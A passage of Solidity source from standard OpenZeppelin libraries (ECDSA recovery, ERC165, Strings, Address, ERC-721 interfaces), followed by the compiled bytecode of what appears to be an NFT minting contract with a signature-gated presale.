https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101e25760003560e01c806370a0823111610102578063a0712d6811610095578063daa81cdd11610064578063daa81cdd1461054b578063dbd30ae014610565578063e985e9c51461057a578063f2fde38b146105c357600080fd5b8063a0712d68146104d8578063a22cb465146104eb578063b88d4fde1461050b578063c87b56dd1461052b57600080fd5b806390044e28116100d157806390044e281461047a57806391b7f5ed1461048d57806395d89b41146104ad578063a035b1fe146104c257600080fd5b806370a0823114610412578063715018a614610432578063853828b6146104475780638da5cb5b1461045c57600080fd5b806318160ddd1161017a57806342842e0e1161014957806342842e0e1461039257806355f804b3146103b25780636352211e146103d25780637055831a146103f257600080fd5b806318160ddd14610327578063207f32421461033c57806323b872dd1461035c57806332cb6b0c1461037c57600080fd5b8063081812fc116101b6578063081812fc14610275578063095ea7b3146102ad5780630b6283e4146102cd57806313529180146102ec57600080fd5b80621c93d1146101e757806301ffc9a7146101fe578063046dc1661461023357806306fdde0314610253575b600080fd5b3480156101f357600080fd5b506101fc6105e3565b005b34801561020a57600080fd5b5061021e6102193660046121fc565b610633565b60405190151581526020015b60405180910390f35b34801561023f57600080fd5b506101fc61024e366004612036565b610685565b34801561025f57600080fd5b506102686106d1565b60405161022a919061236b565b34801561028157600080fd5b5061029561029036600461227f565b610763565b6040516001600160a01b03909116815260200161022a565b3480156102b957600080fd5b506101fc6102c8366004612178565b6107f8565b3480156102d957600080fd5b50600b5461021e90610100900460ff1681565b3480156102f857600080fd5b50610319610307366004612036565b600c6020526000908152604090205481565b60405190815260200161022a565b34801561033357600080fd5b5061031961090e565b34801561034857600080fd5b506101fc610357366004612298565b61091e565b34801561036857600080fd5b506101fc610377366004612084565b610ab8565b34801561038857600080fd5b5061031961115c81565b34801561039e57600080fd5b506101fc6103ad366004612084565b610ae9565b3480156103be57600080fd5b506101fc6103cd366004612236565b610b04565b3480156103de57600080fd5b506102956103ed36600461227f565b610b45565b3480156103fe57600080fd5b5061029561040d3660046121a2565b610bbc565b34801561041e57600080fd5b5061031961042d366004612036565b610c12565b34801561043e57600080fd5b506101fc610c99565b34801561045357600080fd5b506101fc610ccf565b34801561046857600080fd5b506006546001600160a01b0316610295565b6101fc610488366004612298565b610d1d565b34801561049957600080fd5b506101fc6104a836600461227f565b610e7f565b3480156104b957600080fd5b50610268610eae565b3480156104ce57600080fd5b50610319600a5481565b6101fc6104e636600461227f565b610ebd565b3480156104f757600080fd5b506101fc61050636600461213c565b610fb7565b34801561051757600080fd5b506101fc6105263660046120c0565b61107c565b34801561053757600080fd5b5061026861054636600461227f565b6110b4565b34801561055757600080fd5b50600b5461021e9060ff1681565b34801561057157600080fd5b506101fc61118f565b34801561058657600080fd5b5061021e610595366004612051565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156105cf57600080fd5b506101fc6105de366004612036565b6111cd565b6006546001600160a01b031633146106165760405162461bcd60e51b815260040161060d906123d0565b60405180910390fd5b600b805461ff001981166101009182900460ff1615909102179055565b60006001600160e01b031982166380ac58cd60e01b148061066457506001600160e01b03198216635b5e139f60e01b145b8061067f57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6006546001600160a01b031633146106af5760405162461bcd60e51b815260040161060d906123d0565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6060600080546106e09061251b565b80601f016020809104026020016040519081016040528092919081815260200182805461070c9061251b565b80156107595780601f1061072e57610100808354040283529160200191610759565b820191906000526020600020905b81548152906001019060200180831161073c57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107dc5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161060d565b506000908152600460205260409020546001600160a01b031690565b600061080382610b45565b9050806001600160a01b0316836001600160a01b031614156108715760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161060d565b336001600160a01b038216148061088d575061088d8133610595565b6108ff5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161060d565b6109098383611268565b505050565b600061091960075490565b905090565b82828261092d33848484610bbc565b6009546001600160a01b0390811691161461097d5760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c8818d85b9b9bdd081b5a5b9d60821b604482015260640161060d565b600b5460ff166109c45760405162461bcd60e51b815260206004820152601260248201527173616c65206973206e6f742061637469766560701b604482015260640161060d565b61115c876109d061090e565b6109da919061248d565b11156109f85760405162461bcd60e51b815260040161060d90612405565b336000908152600c60205260409020548690610a1590899061248d565b1115610a635760405162461bcd60e51b815260206004820152601a60248201527f6163636f756e7420616c6c6f77616e6365206578636565646564000000000000604482015260640161060d565b336000908152600c602052604081208054899290610a8290849061248d565b90915550600090505b87811015610aae57610a9c336112d6565b80610aa681612556565b915050610a8b565b5050505050505050565b610ac233826112fb565b610ade5760405162461bcd60e51b815260040161060d9061243c565b6109098383836113ee565b6109098383836040518060200160405280600081525061107c565b6006546001600160a01b03163314610b2e5760405162461bcd60e51b815260040161060d906123d0565b8051610b41906008906020840190611ec9565b5050565b6000818152600260205260408120546001600160a01b03168061067f5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161060d565b6000610c07610bcb868661158e565b84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506115f292505050565b90505b949350505050565b60006001600160a01b038216610c7d5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161060d565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610cc35760405162461bcd60e51b815260040161060d906123d0565b610ccd6000611616565b565b6006546001600160a01b03163314610cf95760405162461bcd60e51b815260040161060d906123d0565b60405133904780156108fc02916000818181858888f19350505050610ccd57600080fd5b828282610d2c33848484610bbc565b6009546001600160a01b03908116911614610d7c5760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c8818d85b9b9bdd081b5a5b9d60821b604482015260640161060d565b600b54610100900460ff16610dcc5760405162461bcd60e51b81526020600482015260166024820152757072652073616c65206973206e6f742061637469766560501b604482015260640161060d565b61115c87610dd861090e565b610de2919061248d565b1115610e005760405162461bcd60e51b815260040161060d90612405565b86600a54610e0e91906124b9565b341015610e595760405162461bcd60e51b815260206004820152601960248201527865746865722073656e7420697320756e64657220707269636560381b604482015260640161060d565b60005b87811015610aae57610e6d336112d6565b80610e7781612556565b915050610e5c565b6006546001600160a01b03163314610ea95760405162461bcd60e51b815260040161060d906123d0565b600a55565b6060600180546106e09061251b565b600b5460ff16610f045760405162461bcd60e51b815260206004820152601260248201527173616c65206973206e6f742061637469766560701b604482015260640161060d565b61115c81610f1061090e565b610f1a919061248d565b1115610f385760405162461bcd60e51b815260040161060d90612405565b80600a54610f4691906124b9565b341015610f915760405162461bcd60e51b815260206004820152601960248201527865746865722073656e7420697320756e64657220707269636560381b604482015260640161060d565b60005b81811015610b4157610fa5336112d6565b80610faf81612556565b915050610f94565b6001600160a01b0382163314156110105760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161060d565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61108633836112fb565b6110a25760405162461bcd60e51b815260040161060d9061243c565b6110ae84848484611668565b50505050565b6000818152600260205260409020546060906001600160a01b03166111335760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161060d565b600061113d61169b565b9050600081511161115d5760405180602001604052806000815250611188565b80611167846116aa565b6040516020016111789291906122ff565b6040516020818303038152906040525b9392505050565b6006546001600160a01b031633146111b95760405162461bcd60e51b815260040161060d906123d0565b600b805460ff19811660ff90911615179055565b6006546001600160a01b031633146111f75760405162461bcd60e51b815260040161060d906123d0565b6001600160a01b03811661125c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161060d565b61126581611616565b50565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061129d82610b45565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006112e160075490565b90506112f1600780546001019055565b610b4182826117a8565b6000818152600260205260408120546001600160a01b03166113745760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161060d565b600061137f83610b45565b9050806001600160a01b0316846001600160a01b031614806113ba5750836001600160a01b03166113af84610763565b6001600160a01b0316145b80610c0a57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff16610c0a565b826001600160a01b031661140182610b45565b6001600160a01b0316146114695760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161060d565b6001600160a01b0382166114cb5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161060d565b6114d6600082611268565b6001600160a01b03831660009081526003602052604081208054600192906114ff9084906124d8565b90915550506001600160a01b038216600090815260036020526040812080546001929061152d90849061248d565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b604080517fa9012fe7837d5c61c5dc2312819ce7b543f6d65fe1ff16023a7e3e0599554b7560208201529081018290526001600160a01b038316606082015260009061118890608001604051602081830303815290604052805190602001206117c2565b60008060006116018585611810565b9150915061160e81611880565b509392505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6116738484846113ee565b61167f84848484611a3b565b6110ae5760405162461bcd60e51b815260040161060d9061237e565b6060600880546106e09061251b565b6060816116ce5750506040805180820190915260018152600360fc1b602082015290565b8160005b81156116f857806116e281612556565b91506116f19050600a836124a5565b91506116d2565b60008167ffffffffffffffff811115611713576117136125dd565b6040519080825280601f01601f19166020018201604052801561173d576020820181803683370190505b5090505b8415610c0a576117526001836124d8565b915061175f600a86612571565b61176a90603061248d565b60f81b81838151811061177f5761177f6125c7565b60200101906001600160f81b031916908160001a9053506117a1600a866124a5565b9450611741565b610b41828260405180602001604052806000815250611b45565b600061067f6117cf611b78565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6000808251604114156118475760208301516040840151606085015160001a61183b87828585611c6b565b94509450505050611879565b8251604014156118715760208301516040840151611866868383611d58565b935093505050611879565b506000905060025b9250929050565b6000816004811115611894576118946125b1565b141561189d5750565b60018160048111156118b1576118b16125b1565b14156118ff5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161060d565b6002816004811115611913576119136125b1565b14156119615760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161060d565b6003816004811115611975576119756125b1565b14156119ce5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161060d565b60048160048111156119e2576119e26125b1565b14156112655760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161060d565b60006001600160a01b0384163b15611b3d57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611a7f90339089908890889060040161232e565b602060405180830381600087803b158015611a9957600080fd5b505af1925050508015611ac9575060408051601f3d908101601f19168201909252611ac691810190612219565b60015b611b23573d808015611af7576040519150601f19603f3d011682016040523d82523d6000602084013e611afc565b606091505b508051611b1b5760405162461bcd60e51b815260040161060d9061237e565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610c0a565b506001610c0a565b611b4f8383611d87565b611b5c6000848484611a3b565b6109095760405162461bcd60e51b815260040161060d9061237e565b60007f0000000000000000000000000000000000000000000000000000000000000001461415611bc757507f0787edb0bca75483bf45b3063317b8927dee4b841fe7cd968bfc12b2935f05bd90565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f4caa28948447686556fef1480339fbeb94824fce9e8f5bac579c84b5e9a45080828401527f06c015bd22b4c69690933c1058878ebdfef31f9aaae40bbe86d8a09fe1b2972c60608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115611ca25750600090506003611d4f565b8460ff16601b14158015611cba57508460ff16601c14155b15611ccb5750600090506004611d4f565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015611d1f573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116611d4857600060019250925050611d4f565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b01611d798782888561